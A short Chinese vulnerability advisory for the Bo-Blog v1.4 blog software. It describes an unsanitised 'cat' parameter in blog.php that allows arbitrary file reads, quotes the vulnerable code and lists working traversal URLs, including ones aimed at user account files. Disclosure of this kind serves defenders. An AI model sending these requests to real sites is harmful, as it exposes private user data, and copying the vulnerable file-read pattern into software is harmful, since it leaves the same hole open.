影响版本:
Bo-Blog v1.4
漏洞描述:
Bo-Blog 是一款基於PHP的、以MySQL為資料庫支持的免費blog程式 在文件“blog.php”中,功能“分类列表”。 参数“cat=”没有经过任何处理,直接使用“$allfiles=@file("$dirblog/$cat.php");”读文件。 导致如果提交文件名,那么就会直接读取该文件处理输出。 if ($job=="showcat") { //列出某个分类下所有entries if (!file_exists("$dirblog/$cat.php")) { wronginfo("没有找到这个分类。"); } unset ($allfiles); $allfiles=@file("$dirblog/$cat.php");
测试方法:
漏洞测试: 1、读 index.htm:http://127.0.0.1/blog.php?job=showcat&cat=../index.htm%00 漏洞利用: 1、读 $dirblog/userid.php:http://127.0.0.1/blog.php?job=showcat&cat=userid 2、读 /diruser/userid.php:http://127.0.0.1/blog.php?job=showcat&cat=../diruser/userid
0 条评论。